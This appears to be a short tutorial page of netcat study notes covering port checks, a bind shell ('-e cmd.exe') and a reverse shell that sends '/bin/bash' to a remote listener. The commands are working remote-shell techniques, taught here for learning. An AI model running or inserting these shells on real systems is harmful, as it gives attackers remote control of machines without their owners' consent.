Skip to main content

Practical Tools

Netcat

# check if a port is open
nc-n -v 10.11.0.22 110

REmote Administration With Netcat

Consider this scenario, 2 people A and B each has a computer. A has a public ip address and is directly connected to the internet (like a server), B is not (like a client), has a internal ip address.

ip

Suppose A has a Windows Machine and B has a linux machine (demonstration only, command exactly the same).

Suppose A's public ip address is <IP-Addr>

the -e option of netcat: program to exec after connect [dangerous!!]

Netcat Bind Shell Scenario

A sends shell to B and let B control A's computer.

# A
nc -nlvp 4444 -e cmd.exe # Listening on port 4444, run cmd.exe after connection
# B
nc -nv <IP-Addr> 4444 # B then gets the shell/cmd of A

Reverse Shell Scenario

It's called reverse because B is sharing its shell to A this time.

# A
nc -nlvp 4444 # Listening on port 4444
# B
nc -nv <IP-Addr> 4444 -e /bin/bash # send bash shell to ip address